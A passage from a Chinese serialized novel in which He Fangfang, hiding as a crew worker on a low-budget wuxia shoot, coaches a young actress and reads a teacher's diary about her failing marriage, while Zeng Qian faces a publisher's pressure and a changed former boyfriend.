于是,我突然面临一个问题,我的父亲是一个怎样的男人?对呀,他也曾经追求我美丽的母亲,可他是哪个样子的呢?
2011年4月7日,星期四,小雨
清明假期,我又回了娘家。
和父母去祭扫了祖父母和外祖父母,吃过饭回到家,我坐在窗下吃着艾粑粑,小时候的味道。
上次的思考令我做了一个决定,去和学校的心理老师聊聊天。但可笑的是,她竟然是一个不到三十的姑娘,比我还迷茫。可是还得感谢她,虽然她没有解决我的问题,可她告诉我许多知识,比如我的性格和我的父亲有最直接的关系。
这令我想起我的女儿。她的性格会不会和她父亲有直接关系?如果会,那实在是太糟糕了。
因为我突然想起,倩倩写不出作文的时候他的态度。我犹记得,他觉得一个女孩,只要懂得如何令自己快乐就行了。
当时我就觉得忧愁,现在,我更感到恐惧。
我回忆了一遍我的成长记忆,惊讶地发现,我的父亲始终在抱怨母亲没有尽到一个贤妻良母的责任。
可我仔细回想,我的衣服上永远绣着美丽的花纹,我的鞋子永远干净漂亮,我的头发永远扎着最新奇的辫子,我在同学眼里,总是令人羡慕的对象。
我总能吃到最好吃的饭菜,我不论遇到什么问题,都可以和我母亲交心谈论,她总是能真诚又准确,告诉我她的经历、感受和解决办法。
可是……父亲还是和母亲分开了,他们很冷静,没有出轨,没有争吵,只是不合适,那是我……嗯,大概高中的时候。我没有太多难过,顶多是一些伤感,我没有变得孤僻,甚至在我父亲搬走那天,我还和他约好了下周再见。
后来的我和母亲的生活看起来没变,但,我知道变了很多。母亲笑的时间少了,与我交谈时也总是更加匆匆,我常看见她洗了碗就会靠在沙发上睡着。
我感觉到父亲的重要。
可我现在也要离婚了,至少我是要的,一定。可是,我的女儿呢?她会如何?我的丈夫可没有我父亲那样讲道理。
唉!往日不可追。
我该如何做,才是对的?
她合上日记,向后一倒头,砸在床上,关了灯,仰面哭泣。
她哭着哭着,侧了身子,弓起背,把脸埋进了被子里。呜咽声飘飘荡荡,在黑暗里,散出窗外。她就在泪水中睡去,然后做了这场大雾迷蒙的梦。
想起了前后,何芳芳沉默着望着窗外,又是夕阳。她不是一个愿意模糊自己的人,她心里知道她为什么哭。她感到绝望,华丽娟的日记像一个人的自传,她从中发现,华老师有着比她更好的父母,更自由的选择,可是,华老师的结局呢?
一种虚无感丝丝缕缕缠绕上她的四肢,她甚至开始怀疑,也许她做的每一件事,只是自以为在反抗,自以为的正确,就像何文谦说的,她和他到底又有什么不同?
大概曾倩的命运她也不该过问的,现在她插手她的人生,焉知不是在毁了她?
越想越窒息,她下楼吃了饭。小姑姑向她告别,何文谦一走,他留下的工作还要有人继续。何芳芳说:“小姑,这不是你热爱的工作,我知道的。”
何文衫微微蹙了蹙眉,笑了,“难道我能一走了之吗?你父亲是我大哥,你猜是你和他亲一点,还是我?”
何文衫看着何芳芳迷惑的脸,放松下来,微笑道:“孩子啊,在我还是孩子的时候,你爸爸也是个孩子,我们是一起做孩子过来的。他是我哥哥,我是他妹妹,他欺负我,但他不允许其他人欺负我。下雨天他感冒了,我却连刘海都没湿,过不去的沟沟坎坎面前,他做过我的梯子,是真的梯子,趴在地上,手在那边,脚在这边,让我从他背上踩过去……他活着的时候,我可以做我自己,他走了,我得先让他安心。”
何文衫走了,何芳芳只记得她慈蔼的笑,和颈间润泽的黑珍珠,反出一泊光斑,逐渐模糊她的眼睛。
原来,何文谦这个人,她一点都不了解。
她走到主卧,发现母亲
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侧躺在床上,背对着门口。她不知道她是不是睡着了,但她知道,夏莲的艰难日子才刚刚开始。
何芳芳在家里陪夏莲过了一个月,夏莲逐渐适应了失去丈夫的生活,她又可以逛街买衣服了,也可以和朋友聊天了,但她不会再去打麻将了。
这天,何芳芳同夏莲道别,然后收拾了行囊,出门。
何芳芳本来是想去过一段流浪生活的,可真站在马路上,来来往往的车流和人群都行色匆匆,她忽然不知,流浪该从哪里开始。至少,现在,得先解决去机场还是车站的问题。可是,当没有目的地,何芳芳便无法做出任何抉择了。
她本来站在阴影里,可是阴影也会变化,很快太阳就要晒到她身上,她感觉到自己已经站累了。
三伏天,何芳芳汗流浃背,身侧走来一对母女。小女孩一手牵着妈妈,一手拿着冰激凌,路过树下的她,笑得很甜,“妈妈快看,这个姐姐好漂亮,她是演员吗?”
她被声音吸引,低头去看这个小丫头。女孩的妈妈对她礼貌微笑,她本能地回应,仍旧看着小丫头甜美的笑脸,直到她们走远。何芳芳脑子里只留下两个字:演员。
这似乎是一个关键词,在她脑子里是一个开关,现在被按下去了,似乎给了她一条通路。但这是在什么时候,在哪里,植入她脑子的关键词?
何芳芳去了横店,进了剧组。第一次,进了一个不是自己的组,变成了后勤组何芳芳。
这是一个小成本网剧,竟然主题还和武侠沾点边,由于资金有限,只能在横店周边选点粗陋小景。但她却意外地发现,镜头里的呈现效果出人意料地好,至少对比这样的成本,可以说性价比极高。没有人随意加戏改剧本,主创不需要应付资方猪一样的脑子,演员都勤勤恳恳,她甚至看见了女主角删改数次的人物小传。
除了钱差点意思,这个剧组其实处处都是金子做的。
她是管放饭的。有一天,女主角一边看着本子,一边过来领盒饭,手一滑,一沓稿子掉在了地上。何芳芳只随意一瞥就知道那是她的人物小传,实际上,她早几天就看见过了,这个姑娘候场的时候,常常皱着眉研究它。盒饭上还摆了一碗汤,姑娘很难蹲下身去捡小传,何芳芳俯身替她捡了起来,她得以仔细看清了上面许多的问号。
“谢谢谢谢!”小姑娘笑得非常灿烂,眼睛里的干净和纯粹突然撞进了她的心里,猝不及防地,她心底冲上来一种冲动,忍不住出声,“孤儿是不会信任任何人的。除非是另一个和她一起长大的孤儿。”
小姑娘脸上的笑容瞬间冻住了,凝固的眼睛里逐渐闪烁出了阵阵金光,她啪嗒一下把盒饭砸在桌上,转身就跑,还不忘扬声道谢,“谢谢!谢谢!”
何芳芳微微受了惊吓,轻微睁了睁眼,瞪着小姑娘远去的身影,好一会儿才收回神来。看着桌上洒出来的汤,她轻笑了一下,把盒饭和汤都收回了身后的保温箱。
44. 自我放逐?
等放完了饭,她拿着已经半温的盒饭和汤去找小姑娘,小姑娘正拿着剧本苦读。
“先吃饭吧,一会儿还有你的骑马戏。”何芳芳坐在她身边的大石头上,背后是一片小树,“再不吃凉了。”
小姑娘愣了,“哦哦,好,谢谢谢谢!”她把剧本放在一边,伸手接过盒饭,大口吃了起来,一口饭还没咽下去,“姐姐你真好!你叫什么啊?我叫宁晓枫。”
好名字,何芳芳想,晓天红叶,西风满地,和她干净的眼睛很相衬。
她犹豫了一瞬,苦恼应该告诉她一个什么名字,后来又想,没什么人知道她叫何芳芳,索性赌一次,但又不敢全赌,于是去掉了何字,“芳芳。”
“芳姐!你第一天来我就奇怪了,你看起来可一点都不像个打饭的,你是什么隐藏大佬么?”
隐藏大佬?何芳芳略睁了睁眼,脑子转的也快,“说说你脑补的故事?”
“常见得很嘛,就是那种特别厉害的人物,但是遭遇了巨大的打击,人生落到低谷,正在自我放逐,经历人生,然后突然感悟,以更强大的形态重新出发。就好像……小龙女跳崖后的杨过,小师妹嫁人后的令狐冲,阿朱死后的乔峰……”
看她想不出来还要硬想,何芳芳笑起来。她很惊喜,以这个小姑娘的年纪,竟然对几十年前的武侠小说角色如数家珍,给她心里某个角落又点燃了一支小蜡烛。“你几岁了?”
“二十二。”宁晓枫又扒了一大口饭。
“好年纪。你爱读武侠?”
“嗯!姐姐,你跟我说说呗,为什么孤儿谁都不信?这个角色我总是很难理解,有时候走文戏,我都是懵懂的,很难找到信念感。”
何芳芳不知怎么了,很愿意同她讲话,“你去过孤儿院吗?你去看看就懂了。一个小孩子,什么都不懂,又对世界充满好奇和美好想象的时候,却被迫发现比较和竞争总是无处不在,别人不会始终用美好和善良对待她,甚至是同在孤儿院的伙伴之间,也存在生存竞争。如果你不够乖,不够聪明可爱,不会察言观色,不懂讨好人,那么可能你永远吃不饱,生病了也没人管,只能自己忍受痛苦。这种日子过多了,你觉得你还会信任谁呢?”
宁晓枫没想过这么多,她知道一个人物要从她小时候开始建立,但她只能在很浅层的部分分析,比如她喜欢什么,讨厌什么。可这些始终不触及核心。“啊!我懂了。她的喜好和她的厌恶应该从她谁也不信任出发去想。”
何芳芳端起汤碗递给她,“确立一个人信念的,不是喜欢和讨厌,也不是爱,是她的恨。”
“恨?可男主对她真的很好,她好像只是没有父母,并没有和谁有什么不共戴天之仇啊?她不能爱男主吗?男主真的很爱她。”
“去孤儿院看看,你会有答案的。”何芳芳笑起来,她很久没有这么轻松地说话了,她感觉这个女孩给她带来了一种新鲜的感受,像不知名的山里一汪无名清泉,饮之忘忧。
她好像明白了那些中年渣男为什么总要去钓一个小姑娘,绝不是想把她当成妻子,甚至没有把她当成一个平等的角色来交往。那么他们是基于一种怎样的需要?华丽娟中年婚姻破裂,小姑姑的感情也是终于丈夫出轨,还有李雯的父亲、自己手底下那些男导演……在这个圈子里,这些事更是家常便饭。但突然间,她想起了何文谦,她自己的父亲似乎却并没有对她的母亲不满。
也就是说,何文谦一直拥有这样一汪清泉。
而她自己,何芳芳,却变得和那些令人恶心的中年男人一样,竟然控制不住地想要从一个小姑娘身上,去攫取青春,不顾一切,不顾对方。
对,那汪清泉的名字,就叫做,青春。
剧组拍夜戏,这一场是女主骑马抄小道去截官道上的边境兵马消息。宁晓枫骑在马上,一遍一遍跑着山道,即便这只是座城外小山,山道算不上陡峭,但宁晓枫还是感觉十分吃力,导演一遍遍NG,理由都是她骑得不够帅。到后来,宁晓枫逐渐体力不支,差点摔下来。
导演被迫喊了休息。宁晓枫很沮丧,坐在路边垂头沉默。何芳芳走过去,提醒她,“你太怕了,你怕马会丢下你。于是你想控制它。”
晓枫抬头,眼神迷茫又自责。何芳芳教她,“腿夹紧,大腿肌肉用力,腰板直,身体前倾,力量坐在你的大腿上。最重要的是,你要信任你的马,它会带着你风驰电掣,很快你就会适应它的节奏,并带着它的节奏往前跑。”
“你不是说,孤儿不会信任任何人吗?”
“马是人吗?”
宁晓枫一惊,感觉一记重拳打在心头,她从来没有想过,只是关于一个人物的理解,竟然可以进行这样一番对话,好像在进行什么哲学的、灵魂的、高端的……什么什么的交流。
总之,实在是一种太刺激的体验。宁晓枫来了感觉,立马跑向道具组,翻身上马,按照何芳芳说的跑了一次。年轻的黑马飞奔起来,出人意料的,马背上的颠簸感消失了,它撒开四蹄后,马背变得极平稳,她竟然体会到了在云端飞驰的快乐。
何芳芳站在她身后看着她疾驰而去的背影,飞扬的头发和轻盈的身体,源源不断向外散溢的能量,用不完的力气,喝一口汽水就能挥散疲惫和颓靡。她深深感觉到想要紧紧抓住这青春气息的冲动,她深深感到自己的颓败。
何芳芳悄悄站到了导演身后,这个年轻的导演也眉头紧锁,他知道这一场戏很重要,但也知道,拍不好不完全是宁晓枫的责任,画面感受总是不对。
“下场雨会好很多,再加点烟,灯光要偏蓝偏硬,打高亮,摄像机前加减光镜。”何芳芳淡淡出声,咬字很轻,但却格外清晰,柔淡里包裹着一种不容置疑。
导演回头看她,有点诧异,更多是审视。何芳芳不管他,淡淡看着监视屏,“这是一个孤独的少女,要去做一件与天下为敌的事,你的选景已经颇受限制,只能用别的手段弥补。”
导演只是略一思考就明白她说的都是最实用的办法,于是立马叫来调度和副导演,安排了下去。才问她,“请问您是?”
何芳芳这才把眼神放到他身上,“哦,导演你好,我是后勤组芳芳。”
“后勤组?”他怀疑自己听错了。
何芳芳已经转身走远。
她觉得她管得有点多了,实在是一时没忍住,唉!
雨点子一落下来,刀一样砸在宁晓枫身上,高亮大灯逼得她皱紧眉头,眼里甚至出现了炫光幻影,她一下子明白了什么叫“孤儿不信任任何人”。
看着宁晓枫逐渐削硬的背脊,何芳芳知道,宁晓枫体会到了孤儿的人生。
孤儿的内心一如这一场布景,一生都在寒夜暴雨中行走,还总难逃烈光煎人。
导演还没喊CUT,但何芳芳知道已无悬念,她提前走了。
一条过,宁晓枫下了马,迫不及待逃离大灯,始终被照射的感觉太痛苦了。她游目四顾去寻何芳芳,却只看见远远一个背影,她忽而震住,讲不出话。
何芳芳找了个角落,坐在一片乱石上,打了个电话给何文衫,“小姑姑,你了解我爸妈相识的过程吗?”
何文衫还在加班,没想到她会问这种问题,愣了一下,收拾了桌面,端起威士忌,走到窗边,“你现在在哪?”
“某、剧组,名字不记得了。”她下意识摸口袋,只摸到打火机,才想起来她很久不买烟了,居然都想不起来是什么时候开始没抽的。
“爱情片?”
“武侠片。”
“唉……”何文衫叹口气,“你父亲谈过很多次恋爱,直到他三十多岁时,才遇见你母亲。你母亲和我太不同了,我也并没有
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很了解她。但我知道,你父亲是真的很爱她。或者说,他很需要她。”
“他爱她什么?”何芳芳急着问完,又觉得表意不清,“我是说,我爸……”
“你母亲是一个十足的女人。”何文衫听出她的艰难,“你父亲大概需要的,就是一个纯粹的女人。这可以延续他的习惯,他从小到大照顾我,照顾家。你也知道,你爷爷奶奶都是忙事业的人,飞来飞去,一年到头没几天待在家里。他喜欢听话的。”
何芳芳对听话两个字十分应激,一瞬间令她想起华丽娟的婚姻。“听话?他能保证他说的每句话都是对的?还是说,没有自我意志的女人更好摆布?”
何文衫喝了一口冰酒,“或者还有别的解释呢?你也不必觉得不公,如果你母亲并不觉得这是一种摆布呢?”
何芳芳听得明白,泄了一口气,“或许吧。我先回去了,小姑姑你也早点休息。”
“芳芳,要不,你去谈场恋爱吧?”
何芳芳突兀地笑起来,“哈哈哈……姑姑,恋爱这么好谈,你怎么不谈?”
何文衫一噎,也自嘲一笑,“随你吧。”
身后的树影不规则地摇晃了,何芳芳警觉回头,哈!你猜她看见了谁?
回到横店市区,何芳芳走在前面,慕华跟在后头。中心步行街熙熙攘攘,何芳芳买了包烟,随便找了个路边坐下,慕华只是站在旁边。她身后有个小巷子,外头和里头都是一排苍蝇小馆。大马路对面是繁华的商圈,虽然看着挺新,但总散发着粘稠的农贸市场和城乡结合部混合的气息。
夏夜的风才是最怀旧的,吹着她和慕华的头发。吸了一口烟,这座城市她很熟悉,这么多年她常常来,但她很不喜欢这里,它充斥着欲望和金钱的味道,灵魂在这里,可以称两论斤地卖。
这是一种混杂了呕吐物、□□易、酒和贪婪的气息,令街道无论如何也洗不干净。
“你吃了吗?”何芳芳开口问。
“啊?哦,吃了。”慕华没想到她会问这个。
“什么时候发现我的?”
“你来的第一天。”慕华老老实实。
何芳芳惊讶了,“你来多久了?”
“那天和你分开后。”慕华想了想,补充,“我那天买了车票回家,但到半路就下车了,我做不到,我不想放弃。”
何芳芳点点头。又问,“你经常偷看我?”
慕华深吸了两口气,承认,“对。习惯了,从你重开工作室……哦不,可能更早吧,可能从我离开你开始……”她摇摇头,“我也记不得了,反正只要有你的消息,我就会偷偷去看你,看你在干什么……我也不知道我为什么要这样,像个变态一样。”说完她自己轻轻嘲笑了两声。
何芳芳深深吸了一口烟,长长地吐出来,再转头打量她,“为什么选这里?”
慕华看到了她平视自己的眼神。她第一次见到她这样看自己,她感到了一种切切地鼓励,不自觉地说了心底话,“这里有太多人需要写飞页,我能干这个,能活下去。”
何芳芳笑了,低下头,看着指尖猩红的光,“没事一块儿吃饭吧,许慕华。”
她没抬头,可是慕华看见了她的温柔。天呐!杜华年的温柔?眼泪涌上来,她哽咽,“嗯,嗯!好啊,好啊!华年姐。”
何芳芳再没有说话,慕华也没走开。
抬头看着街上来来往往的人,这是个迷路灵魂的十字街口。她想起宁晓枫,她说她在自我放逐,虽然这词多少有点老土,但她得承认,她说得也没错。
不知道宁晓枫还要多久才会变成这些迷路灵魂,但她总觉得,这是迟早的事。
看着看着,她想起了华丽娟在日记里总结过:一个女人的婚姻是否会将她逼至绝境,就要看她是否在一直坚持做自己。她从包里摸出日记本。
45. 人会变,月会圆
2012年3月1日星期四晴
今天我们吵了一架,这是我和他认识以来吵得最严重的一次,他砸了电视机,我摔碎了我的花瓶。
原因也很无聊,还是我要跟他离婚,他不同意。我实在是无可奈何了,于是跟他说,如果他不同意,我就把他婚内出轨的证据打包交给律师,我也会搬走,到时候就诉讼离婚吧。他突然就暴怒了,我从来没见过他这样的状态,就像变了个人,从文质彬彬变成了一个毫无修养的地痞流氓。
他边砸东西边骂,措辞堪称粗俗,他说我一个破语文老师,却过着少奶奶的生活,吃的用的全都是花他的钱,而我竟然不感恩,他说我不知满足,说我贪得无厌。
我甚至没有一点害怕,而是愤怒,愤怒使我止不住流泪,实在没忍住,我拿起花瓶砸在他脚下,他才停止骂骂咧咧。我气得大脑一片空白,什么也说不出来,只问了他一句:你到底想要一个怎样的女人?
奇异得很,这句话熄灭了他的怒火,我们都沉默了,沉默了很久很久。我坐在沙发上流泪,他坐在地上抽烟,我看着窗外的太阳,保姆准备来做饭了,倩倩也要放学了。我提醒他,他站起来,只说了一句话:我喜欢你二十岁的样子,你现在完全变了。然后他出了门,把一地狼藉的客厅留给我。
我去他妈的!
二十岁,我还是我,我不用考虑丈夫,不用考虑孩子,二十岁,我不会为任何人牺牲,二十岁,我是一个天才女作家!我的人生里,全是诗意与风景。
可是没有爱。二十岁的我,没有爱,没有不得不负担的责任,我当初想得多简单啊,没有爱,诗意也是一种空洞,没有责任,我写出来的风景永远都不会落地,我相信,爱,一定可以让我的天赋永远不熄灭。
当初老师极力规劝我,晚一点结婚。我还觉得他不是一个能为了人生的诗意奋不顾身的人,他不了解我!没想到,直到今天我才听懂他的话。我的老师是对的,也是,毕竟他是一个男人,又是过来人。
我的顿悟来得太晚了些,我以为的爱,不仅没有让我的天赋永恒燃烧,反而提前烧成了灰烬。
其实当我看见何芳芳的时候,就已经明白了,老师当年的良苦用心。
他说他爱二十岁的我,原来,他其实喜欢一个不把他放在眼里的女人。
一个女人的婚姻是否会将她逼至绝境,就要看她是否在一直坚持做自己,我如果一直是女作家华丽娟,恐怕他今天可不敢这样跟我讲话。
我的女儿,千万不能重蹈我的覆辙,她要先拥有属于自己的价值,而绝不能认为只有爱就够了。我不否认会有珍惜爱的男人,但是,谁能保证我的女儿一定能遇到呢?如果她的母亲,她母亲的母亲都没有遇到,那么她,绝不敢这样自信啊!
这一页日记的纸页崎岖不平,颜色也更深,显然是曾经被大片泪水洇湿又干,干了又湿。她很难想象华老师在写这篇日记时,内心是怎样的痛苦和悔恨,她付出了全部,牺牲了自我,可是对面的男人却只觉得这些都是自己的功劳。享受了别人的付出,回过头还要瞧不起人家!这种恶心人的优越感,简直比打完斋不要和尚更下作。
她也很想不通,这个男人的脑子到底是什么做的?他一边瞧不上丧失自我的女性,一边却又把自己的女儿往男性附属品的方向培养,这几个意思?只能说,他不仅不爱他老婆,他还不爱他女儿,那他爱谁?噢,他只爱自己。
嗯,听说充满诗意的男人是这样的,所谓艺术家,就是自私的魔鬼的代名词而已。
何芳芳冷笑一声,内心却惊涛裂岸,这样的男性甚至比何文谦更可怕,因为他几乎不像个人了。
慕华一直站在她旁边,也呆呆地看着路面,沉迷在自己的世界里。她看着何芳芳重新沉入静默,从包里摸出一个古老的本子,翻开看起来。她看得很慢很慢,字字句句要反复品味,看完了就叹气,看着面前的街道,一叹又一叹。慕华想:杜华年也会这么难过吗?怎么和我一样?
直到夜深,街上没什么行人了,她们才分别离开。
夜里,何芳芳梦见身在巨大的迷宫之中,也没人追她,她便懒得走。但站久了发觉这个迷宫墙面太高,道路太窄,路线太曲,实在连个躺平的位置都没有,她不得不开始走,离开这个压抑的空间。
可是她走得骂娘,骂得口干舌燥,也还困在迷宫里,根本找不到出路。
信息是不是给得有点少了?她已经累到气喘吁吁,叉着腰站在不知何处卬头看着窄窄一条线的天。
她是累醒的。
坐在床上,她实在想不通,倒计时的BUG是卡完了?连续剧还得给我看个结局呢,这梦是说换就换的?
她起来找了半天,没发现什么能吃的,不禁怀念起她建邺区的那套小单位,好歹半夜还能煮个面,再不济叫上李雯和曾倩,也能出去宵个夜。
刚想完她就愣了,她惊讶地发觉,自己已经很久没有想起李雯和曾倩了,上回李雯给她打了个电话,说了什么也都不记得了,她赶紧去翻了翻通话记录,竟然已经过了快两个月。深重的愧疚感涌上来,淹没她,她想起猫猫好久没见到妈妈了。
剧组又换了一次景,还有十天左右就能杀青。
这天下夜戏,曾倩盯着自己的朋友圈,密密麻麻都是猫猫的小视频,全都设置了仅杜华年、李雯可见,但,点赞的、评论的都是李雯,她期待的人,并没有出现。
她深深一叹,收起手机。
“倩姐,看什么呢”秦旭伸头在她旁边,贴得很近,吓了她一跳。
他特意补了妆,喷了香水,露出几分天真几分温柔的微笑。
曾倩收起手机看着他,没说话,不想透露太多情绪。自从工作室官宣了与丘泽的合作,秦旭果然老实了很多,配合度高了,人也开始殷勤巴结她。
“你是不是在等人?男人?”他故作神秘“你听我的,对男人,不能太热情,如果忍不住,那就转移目标。”
秦旭比曾倩大两三岁,但喊起姐来十分顺嘴,即便曾倩知道他目的不纯,但听多了,总还是受用的,尤其是在她压力大的时候。
听说这就是人变得强硬以后,必然产生的盲目。
她没有阻止秦旭跟着她一路走回去,直到她停在车边。秦旭仍然在喋喋不休,虽然她也觉得吵,但奇异的又觉得没那么孤单。
“倩姐,我看你晚上没怎么吃饭,我也没吃。今晚是拍我抑郁症爆发,我这两天特意饿着,终于熬完了!要不我请你去宵夜吧?让我好好感谢你教我这么多。”秦旭觉得今晚是一个合适的时机单独约曾倩,毕竟他铺垫了那么久,全组的人都知道他的心思。
曾倩的第一反应竟然不是拒绝,这令她感到不可思议,只能迟钝地看着秦旭,甚至开始发呆。她心里明明很清楚秦旭的心思,毕竟这都成了全组人的谈资了。她为自己的反应感到费解,于是她皱起眉头,想要思考一下自己犹豫的原因。她单方面认为,大概是她今天太累了,脑子才转得这样慢,她这样想,以为可以安慰自己。可当她想到另一个可能性时,不自觉感到了胆寒,于是她顺势打了个冷颤。
秦旭怎会放过这个机会?立即就想脱下外套给她披上,手摸到扣子才发现,这么热的天,谁穿外套?
欸,这么热的天,她怎么打冷颤呢?
斜后方伸出一双手臂揽住了曾倩,一个人从暗处浮现出来,曾倩一惊,和秦旭一同看过去。
“刘白?”曾倩疑惑出声,听在刘白耳中就像是梦里的声音一样缥缈。
“你是不是感冒了?我送你回去。”刘白的话看似询问,其实不容置疑,揽着曾倩上了车。
直到看着车子走远,秦旭才反应过来,这是被截胡了。那么,这个刘白是谁?又一个来抢活的?
车上,曾倩不知如何形容此刻的情绪,纷乱纠缠,令她本就疲惫的大脑濒临崩溃。刘白开着车,他像是变了一个人,曾倩也说不好哪变了,但感觉和
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从前完全不同。
他只是沉默地开着车,不时看看后视镜,手轻轻握着方向盘,踩油门或者刹车,转方向或者打灯,动作干净又缜密,很认真,又很不在心上。
他的目光很淡漠,只看得见路和光,眼里似乎什么都没有,但他的神情又很专注,专注地在开车,专注到似乎不止在开车,还在想着什么。
头痛,她正思考怎么开口说第一句话,电话响了起来,是李雯。手机连着车载蓝牙,她还在掏口袋,关掉转向灯的间隙,刘白就伸手按了接听。李雯的声音在空旷的车厢里响了起来。
“来千帆过,姐请你喝酒。”她的声音已经有了醉意。曾倩还没说话,她就挂断了。
又沉默了。曾倩懵懵的,刘白轻声问,“千帆过在哪里?”
是熟人的措辞,语气又清淡得如同一个网约车司机,声音又很柔和,似乎充满了深情,只是隐藏在茫茫大雾里,很像自作多情。曾倩心头几不可察地一荡。
千帆过门口,放下曾倩,刘白没有下车,只是问她车停哪里,就开走了。
李雯楞楞看着车尾灯,“这就是你那个小男友?”
“网约车司机。”曾倩顺嘴反驳。
“网约车司机会帮你停车?”李雯像看个傻子,“老杜说你有个感情非常真挚的男朋友,直觉告诉我就是他。”
感情真挚……思考着这个评价,她突然明白刘白到底哪里变了。
他不再周身冒着温暖的纯色光芒,她无法感觉到他的想法和感受了,以前,刘白是一个很容易看见的人。
想不明白就不想了,曾倩现在也真的没空操心这些无聊的事。
李雯的计划并不顺利。“我拿着她出轨的证据去要挟她,让她给我更多钱,可是你猜她干了什么?她把我拉黑了!她,我妈!把我拉黑了!!她说我既然不愿意嫁人帮她,就走吧,她就当没生过我。”李雯接着喝,说着不知是醉话还是真话,“她竟然不怕我真的把证据给我爸?她竟然在我面前没有一点羞耻感,这是我妈欸?我妈呀!”
李雯说着话淌着泪,淌着泪喝着酒,时间悄悄溜走。
曾倩犹豫了,但还是说:“她已经花了一千万了,按道理说你应该销毁证据的,你这样做,也挺不厚道吧?”
李雯睁大眼盯着她,“死丫头,你哪头的?”她要敲她头,被她躲过去了,情绪一下子就落了下来,“我其实是想看看她面对我的时候,会不会有一点悔改。”
换曾倩睁大眼睛了,她觉得这么幼稚想法,不该是李雯有的,“有些人道德底线低,像天生的一样,改变不了的。我有个后妈,就是这样的,她没什么文化,做什么事情都只知道为自己和她儿子打算,其他人,就算是给她饭吃,给她衣穿的丈夫,她都只有算计的。我爸蠢,看不穿,我们是女人还看不出来吗?”
李雯被她气笑了,心里堵得慌,笑着笑着又哭了起来,“是啊……你后妈好歹还觉得自己有个儿子……”
曾倩不知道她过分的理智让李雯想到了杜华年,但她眨巴眨巴眼,还是后知后觉地听懂了李雯的伤痛,也确实,她的后妈至少爱自己的儿子,可诗萍呢?只爱她自己。她不知道如何安慰李雯,只能说:“没事,你还有我们呢。”
把醉醺醺的李雯送到家,天都快亮了,猫猫走过来的步伐带着浓浓睡意,摇摇摆摆,她还趁机撸了一把懵懵的小狗。
她头也疼,胃也疼,捂着胃下楼,电梯门一打开,第一眼就看见了刘白。他轻轻靠在墙上,背脊却仍挺直,“天一热你就爱吃蟹粥,可是那玩意寒得很,你不胃痛谁胃痛?”
他从前从来不这样说话!这是曾倩的第一反应,虽然他说的都是事实,但……
刘白已经走上来,一手揽着她,一手拉开她的手,开始替她揉肚子。他的手比曾倩的体温高,揉起来立刻就舒服了许多,一时间,醉意涌上来,她开始头晕,“你怎么知道我住这?”
刘白看她一眼,没说话。
46. 故人
曾倩再醒来,已经是傍晚,她吓得一骨碌坐起来,头一晕,又砸回了枕头上,手机里是一大堆未接来电和信息,但该死的刘白给她调了静音。
正骂娘呢,小赵打了电话进来,“姐?我的姐哟!你怎么回事?今天沈董那边突然就不肯进行宣发了,说我们的发行合同要重新敲细节。我都找你一天了!”
一颗心往下坠,手脚冰凉,曾倩努力稳住,“雯姐呢?”
“去剧组了。”
“漫画按时更新了吗?”
“更了,漫画组有林组长。”
还好,没有全乱套。她爬起来迅速洗了个澡,收拾一番,直奔天地文化。
“不好意思曾小姐,我们沈董已经下班了。我给您预约……”
她一抬手打断前台,不耐烦道:“别跟我说这种套路话,你们沈董搞这一招,不就是等着我来找她吗?”
前台噎在当地,说不出话。曾倩看她挺笨,教她,“现在打电话给你沈董,把我的刚才的话说一遍,也不是你的错。有什么好怕?”
迫于她的气势,前台拿起了电话,挂掉后就老老实实带路,“曾小姐,这边请。”
前台引她去了天台,电梯直通大厦的顶端,门一开,前台却并不出门,“曾小姐,还麻烦您自己去找沈董,我们有规定,这里是沈董私人空间。”
曾倩走出去,穿过一扇小门,随着眼界豁然开朗,扑来一阵满带花香的迎面风。天边晚霞金红,天幕带紫,她的短发在风里兴奋地飞舞,水墨色的裙摆像一张飞扬起来的旗帜。
这里不像普通高楼的顶层,有许多天梯井和通风口。它很平整,似乎是特别规划出来的,四处都有石头垒起来的大小台基,地面也铺着打磨圆滑的青石板。
透过曲折的路径,看见远处放着一张玻璃桌子,沈董坐在玻璃椅子上,身后竟然还有一间敞开的玻璃花房,里头种满了绿树鲜花。
像传说中的异世界,另一个空间。
沈董穿着黑丝绒修身裙,红丝绒西装外套,袖口处翻上来一层,露出黑色真丝里衬。
曾倩踏着高跟鞋,迎着烈风,一步一步走向玻璃桌,努力地,不让法海敲钵的节奏在水漫金山的风里淹没。
“沈董,你还要加什么条件?”她单刀直入。
“你先坐,喝点我的花茶,新鲜摘下来的。”沈董倒了一杯推给她,“你的新剧本我看了,实话说,我觉得很新颖,我以为你只会写家庭剧呢。”
听到剧本,曾倩不由自主地坐下来,“那你却不买?又总说还在看,导致我不能给别家看。”
“呵呵呵……”沈董笑起来,玻璃桌都在震动,“小姑娘没教好,是杜华年太宠你了?卖剧本什么规矩?还有想要的本子抢不到的?只不过是大家和我都在观望罢了。你看杜华年当年的本子,一出来,有谁能捂得住?”
她说的是事实,曾倩低头喝了口茶,犹豫再三,还是没忍住问出来,“是我写的不够好吗?”
不可以问出来!有些问题不管你多想知道答案,都不可以在别人面前问出来!她耳边立刻响起了这句话,杜华年声色俱厉的脸蓦地出现在她眼前。可她后悔已经来不及了,心里瞬间有了赌徒的忐忑和亢奋,紧紧盯着沈董。
沈董等的就是她的溃败,但是她溃败得还是太快了,她突然就觉得没意思了,只淡淡说:“好不好,是因人而异的。文学,或者说所有艺术,都是主观的,有人爱,就有人不爱。如果我觉得一点价值也没有,当然不会扣在手里。只是,你的价值还不够。”
一阵烈风猛然而至,短发戳进了曾倩的眼睛,她转头闭眼躲避,心里已经知道自己输了,但还在祈祷,“所以我是来听你的条件的。”
“你还是不明白。我跟你说直白一点吧,你觉得芳生工作室为什么重启得如此顺利?抄袭这么大事,大家却好像都忘了。那是因为杜华年是杜华年,人们喜欢看神摔下来,也喜欢看她重新爬起来。你的第一个故事还没上映,谁也不知道你是不是另一个杜华年。最重要的是,现在何文谦死了,杜华年又消失了,你不要以为这个世界上真的有秘密。这就是大家观望的原因。”
曾倩恍然想起芊芊在房车上跟她说过的话,她本来已经忘了这可怕的感觉,又问,“难道人人都知道何文谦和华年姐的关系?”这个问题的答案如果是肯定的,它便意味着某种背后的东西,而她能明确地感到,她对这个东西是畏惧的,这种畏惧令她已经选择了一次逃避,而此刻,她仿佛已避无可避。
沈董看着她急迫的脸,笑得春光灿烂,“你还真是怪可爱的。我都跟你说了这个世界没有秘密。这么多年来,杜华年在圈子里横着走,就算遇到什么坎也从来不会伤筋动骨,谁在后面帮她,一次看不出来,多了,还看不出来?”
